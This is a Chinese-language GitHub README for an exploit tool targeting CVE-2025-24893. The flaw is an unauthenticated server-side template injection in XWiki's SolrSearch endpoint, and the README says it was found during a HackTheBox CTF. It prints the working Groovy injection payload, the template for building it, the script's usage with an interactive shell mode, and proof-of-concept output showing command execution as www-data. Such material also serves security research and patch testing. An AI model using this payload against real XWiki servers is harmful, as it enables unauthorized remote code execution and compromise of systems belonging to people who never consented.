rippsec/CVE-2025-24893-XWiki-SSTI-RCE
GitHub: rippsec/CVE-2025-24893-XWiki-SSTI-RCE
针对 CVE-2025-24893 的 XWiki 未认证 SSTI RCE 漏洞利用工具。
Stars: 0 | Forks: 0
# CVE-2025-24893 — XWiki SSTI 远程代码执行
## 概述
| 字段 | 详情 |
|---|---|
| **CVE** | CVE-2025-24893 |
| **软件** | XWiki |
| **漏洞** | 服务端模板注入(SSTI)→ 远程代码执行(RCE) |
| **认证要求** | 无需认证 |
| **CVSS 评分** | 严重 |
| **背景** | 在 HackTheBox CTF 期间发现 |
## 描述
XWiki 暴露了一个 `SolrSearch` 端点(`/xwiki/bin/get/Main/SolrSearch`),该端点在未经过滤的情况下将用户输入通过 Groovy 模板引擎进行渲染。未经身份验证的攻击者可以通过 `text` 查询参数注入 Groovy 表达式,从而在底层服务器上实现远程代码执行。
## 技术细节
### 漏洞端点
```
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=
```
### 注入机制
`text` 参数直接被嵌入到 XWiki 宏上下文中,并由 Groovy 引擎求值。注入通过 `}}}` 逃逸模板上下文,并打开 `{{async}}{{groovy}}` 代码块:
```
}}}{{async async=false}}{{groovy}}println("".execute().text){{/groovy}}{{/async}}
```
输出内容会反映在 RSS 响应体中,并可通过正则表达式提取。
### 载荷结构
```
payload = '}}}{{async async=false}}{{groovy}}println("' + command + '".execute().text){{/groovy}}{{/async}}'
```
响应为 XML/RSS 格式,命令输出位于 `[}}}` 和 `]` 标记之间,并经过 HTML 实体编码。
## 使用方法
```
python3 exploit.py -t [-p PORT] [-s] [-i | -c COMMAND]
```
| 参数 | 描述 |
|---|---|
| `-t` | 目标主机名或 IP |
| `-p` | 端口(默认:80) |
| `-s` | 使用 HTTPS |
| `-i` | 交互式 Shell 模式 |
| `-c` | 单条命令执行 |
| `-v` | 详细输出 |
### 示例
```
# 单个命令
python3 exploit.py -t wiki.target.htb -c "id"
# 交互式外壳
python3 exploit.py -t wiki.target.htb -i
# HTTPS 在自定义端口
python3 exploit.py -t wiki.target.htb -p 443 -s -i
```
## 依赖项
```
pip install requests termcolor
```
## 概念验证
```
$ python3 exploit.py -t wiki.editor.htb -c "id"
[*] Executing command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
## 参考链接
- [XWiki 官方通告](https://jira.xwiki.org)
- [NVD 条目](https://nvd.nist.gov/vuln/detail/CVE-2025-24893)
标签:CVE, Groovy, HackTheBox, HTTP请求, Linux取证, Python, RSS注入, SolrSearch, SSTI, XWiki, 交互式Shell, 命令执行, 数字签名, 无后门, 服务端模板注入, 未授权访问, 正则提取, 漏洞分析, 编程工具, 路径探测, 远程代码执行, 逆向工具